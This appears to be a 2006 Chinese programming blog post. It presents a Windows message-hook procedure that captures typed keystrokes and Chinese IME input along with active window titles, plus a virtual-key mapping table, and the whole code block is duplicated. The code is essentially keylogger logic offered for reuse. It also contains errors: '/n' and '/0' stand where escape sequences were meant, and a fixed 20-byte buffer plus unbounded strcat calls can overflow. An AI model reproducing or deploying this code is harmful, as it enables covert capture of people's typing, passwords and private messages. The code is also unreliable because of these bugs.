关于中文hook的一些问题的处理
2006-01-11 06:35
549 查看
使用钩子记录键盘敲击的字符并不困难,但是如果要直接记录中文输入的内容就不那么容易了。本文应用了IME以及相应的IME消息WM_IME_COMPOSITION实现这一目的,但是对于VK的过滤并不是很成功,现在贴出我的修改版本。当然原来的已经相当不错了,精益求精而已
LRESULT CALLBACK MessageProc(int nCode,WPARAM wParam,LPARAM lParam)
{
PMSG pmsg = (PMSG)lParam;
if(nCode==HC_ACTION)
{
switch(pmsg->message)
{
case WM_IME_COMPOSITION:
{
//窗口判定
hCurWin=::GetActiveWindow();
::GetWindowText(hCurWin,CurWin,100);
if(strcmp(CurWin,PriWin)!=0)
{
::GetWindowText(hCurWin,PriWin,100);
strcat(Content,"/n<");
strcat(CurWin,">/n");
strcat(Content,CurWin);
}
HIMC hIMC;
DWORD dwSize;
char lpstr[20];
if(pmsg->lParam & GCS_RESULTSTR)
{
hIMC = ImmGetContext(hCurWin);
dwSize = ImmGetCompositionString(hIMC, GCS_RESULTSTR, NULL, 0);
dwSize += sizeof(WCHAR);
memset(lpstr, 0, 20);
ImmGetCompositionString(hIMC, GCS_RESULTSTR, lpstr, dwSize);
strcat(Content,lpstr);
ImmReleaseContext(hCurWin, hIMC);
}
break;
}
case WM_CHAR:
{
hCurWin=::GetActiveWindow();
::GetWindowText(hCurWin,CurWin,100);
if(strcmp(CurWin,PriWin)!=0)
{
::GetWindowText(hCurWin,PriWin,100);
strcat(Content,"/n<");
strcat(CurWin,">/n");
strcat(Content,CurWin);
}
int nIsVK=0;
char ch[2];
for(int m=0; m < MAX_VK_NUM ; m++)
{
if(pmsg->wParam==(WPARAM)VKMap[m].VKNum)
{
strcat(Content,VKMap[m].VKText);
m = MAX_VK_NUM;
nIsVK = 1;
}
}
if((nIsVK==0)&&( (pmsg->wParam)<127 ) ) //主要是在这里 把 ASCII马的范围进行一些限制
//这样 IME条件下输入的VK将被过滤…
{
ch[0]=(char)(pmsg->wParam);
ch[1]='/0';
strcat(Content,ch);
}
break;
}
}
}
return(CallNextHookEx(Hook, nCode, wParam, lParam));
}
我还定义了一个 VK相关的结构体 以缩短 记录函数的长度
#define MAX_VK_TEXT_LEN 15
#define MAX_VK_NUM 11
typedef struct _vkmap //定义VK映射表
{
int VKNum;
char VKText[MAX_VK_TEXT_LEN];
}VKMAP;
VKMAP VKMap[MAX_VK_NUM]= //为VK映射表赋值
{
{VK_ESCAPE,"[esc]"},
{VK_RETURN, "[enter]"},
{VK_SPACE, "[space]"},
{VK_BACK, "[backspace]"},
{VK_LCONTROL,"[left ctrl]"},
{VK_RCONTROL,"[right ctrl]"},
{VK_LSHIFT,"[left shift]"},
{VK_RSHIFT,"[right shift]"},
{VK_LMENU,"[left alt]"},
{VK_RMENU,"[right alt]"},
{VK_TAB,"[tab]"}
//{VK_NUMLOCK,"[numlock]"},
//{VK_CAPITAL,"[capslock]"},
//{VK_SCROLL,"[scrolllock]"},
//{VK_UP,"[up]"},
//{VK_DOWN,"[down]"},
//{VK_LEFT,"[left]"},
//{VK_RIGHT,"[right]"},
//{VK_END,"[end]"},
//{VK_HOME,"[home]"},
//{VK_INSERT,"[ins]"},
//{VK_DELETE,"[del]"},
//{VK_PRIOR,"[pageup]"},
//{VK_NEXT,"[pagedown]"},
//{VK_SNAPSHOT,"[print screen]"},
//{VK_PAUSE,"[pause]"},
//{VK_LBUTTON,"[mouse left]"},
//{VK_RBUTTON,"[mouse right]"}
};
这里是情况而定,有些vk需要进行顾虑。有可能MessageProc用WM_CHAR捕捉的输入 与WH_KEYBOARD这个,也就是KeyboardProc这个函数用的机制不一样,很多符号键与VK是相重复的,以前我用的是键盘处理的函数,所以那些VK是可以截获的。希望对大家有所帮助!
LRESULT CALLBACK MessageProc(int nCode,WPARAM wParam,LPARAM lParam)
{
PMSG pmsg = (PMSG)lParam;
if(nCode==HC_ACTION)
{
switch(pmsg->message)
{
case WM_IME_COMPOSITION:
{
//窗口判定
hCurWin=::GetActiveWindow();
::GetWindowText(hCurWin,CurWin,100);
if(strcmp(CurWin,PriWin)!=0)
{
::GetWindowText(hCurWin,PriWin,100);
strcat(Content,"/n<");
strcat(CurWin,">/n");
strcat(Content,CurWin);
}
HIMC hIMC;
DWORD dwSize;
char lpstr[20];
if(pmsg->lParam & GCS_RESULTSTR)
{
hIMC = ImmGetContext(hCurWin);
dwSize = ImmGetCompositionString(hIMC, GCS_RESULTSTR, NULL, 0);
dwSize += sizeof(WCHAR);
memset(lpstr, 0, 20);
ImmGetCompositionString(hIMC, GCS_RESULTSTR, lpstr, dwSize);
strcat(Content,lpstr);
ImmReleaseContext(hCurWin, hIMC);
}
break;
}
case WM_CHAR:
{
hCurWin=::GetActiveWindow();
::GetWindowText(hCurWin,CurWin,100);
if(strcmp(CurWin,PriWin)!=0)
{
::GetWindowText(hCurWin,PriWin,100);
strcat(Content,"/n<");
strcat(CurWin,">/n");
strcat(Content,CurWin);
}
int nIsVK=0;
char ch[2];
for(int m=0; m < MAX_VK_NUM ; m++)
{
if(pmsg->wParam==(WPARAM)VKMap[m].VKNum)
{
strcat(Content,VKMap[m].VKText);
m = MAX_VK_NUM;
nIsVK = 1;
}
}
if((nIsVK==0)&&( (pmsg->wParam)<127 ) ) //主要是在这里 把 ASCII马的范围进行一些限制
//这样 IME条件下输入的VK将被过滤…
{
ch[0]=(char)(pmsg->wParam);
ch[1]='/0';
strcat(Content,ch);
}
break;
}
}
}
return(CallNextHookEx(Hook, nCode, wParam, lParam));
}
我还定义了一个 VK相关的结构体 以缩短 记录函数的长度
#define MAX_VK_TEXT_LEN 15
#define MAX_VK_NUM 11
typedef struct _vkmap //定义VK映射表
{
int VKNum;
char VKText[MAX_VK_TEXT_LEN];
}VKMAP;
VKMAP VKMap[MAX_VK_NUM]= //为VK映射表赋值
{
{VK_ESCAPE,"[esc]"},
{VK_RETURN, "[enter]"},
{VK_SPACE, "[space]"},
{VK_BACK, "[backspace]"},
{VK_LCONTROL,"[left ctrl]"},
{VK_RCONTROL,"[right ctrl]"},
{VK_LSHIFT,"[left shift]"},
{VK_RSHIFT,"[right shift]"},
{VK_LMENU,"[left alt]"},
{VK_RMENU,"[right alt]"},
{VK_TAB,"[tab]"}
//{VK_NUMLOCK,"[numlock]"},
//{VK_CAPITAL,"[capslock]"},
//{VK_SCROLL,"[scrolllock]"},
//{VK_UP,"[up]"},
//{VK_DOWN,"[down]"},
//{VK_LEFT,"[left]"},
//{VK_RIGHT,"[right]"},
//{VK_END,"[end]"},
//{VK_HOME,"[home]"},
//{VK_INSERT,"[ins]"},
//{VK_DELETE,"[del]"},
//{VK_PRIOR,"[pageup]"},
//{VK_NEXT,"[pagedown]"},
//{VK_SNAPSHOT,"[print screen]"},
//{VK_PAUSE,"[pause]"},
//{VK_LBUTTON,"[mouse left]"},
//{VK_RBUTTON,"[mouse right]"}
};
这里是情况而定,有些vk需要进行顾虑。有可能MessageProc用WM_CHAR捕捉的输入 与WH_KEYBOARD这个,也就是KeyboardProc这个函数用的机制不一样,很多符号键与VK是相重复的,以前我用的是键盘处理的函数,所以那些VK是可以截获的。希望对大家有所帮助!
相关文章推荐
- 关于android视频播放显示区域不正常的问题,一些处理方法
- 关于java中的中文处理的问题
- HOOK专题 (关于WIN的消息截获及提前处理问题的基本解决方案)
- 关于C/C++发送到打印机的一些问题处理
- 这是我们公司总结的一些关于中文乱码问题的一些解决方案和经验和大家分享!
- 关于cloudstack中遇见的一些问题处理笔记
- 这是我们公司总结的一些关于中文乱码问题的一些解决方案和经验和大家分享!
- 通过读写文本文件小结“关于python处理中文编码的问题”
- 关于在Mysql服务启动的一些现象及问题和处理过程
- 关于asp.net页面通过url传值,中文出现乱码的一些有趣的问题~~~
- Javascript与ASP.NET(一般处理程序)关于URL(get方式)传递中文乱码问题的解决方案
- 关于C语言字符串Dddi DdD的一些问题处理
- 关于网上一些兼容性问题的处理总结
- 关于FastJson的一些问题的处理(时间问题 ,转换json重用对象引用问)
- 关于一些很平常的错误原因(个人的一些问题和怎么处理的)
- 这是我们公司总结的一些关于中文乱码问题的一些解决方案和经验和大家分享!
- 关于处理中文乱码的一些方法
- 关于Mysql插入中文时报错代码为1366的相关处理及插入中文乱码问题相关处理
- 这是我们公司总结的一些关于中文乱码问题的一些解决方案和经验和大家分享!
- 一些关于中文乱码问题的一些解决方案和经验和大家分享!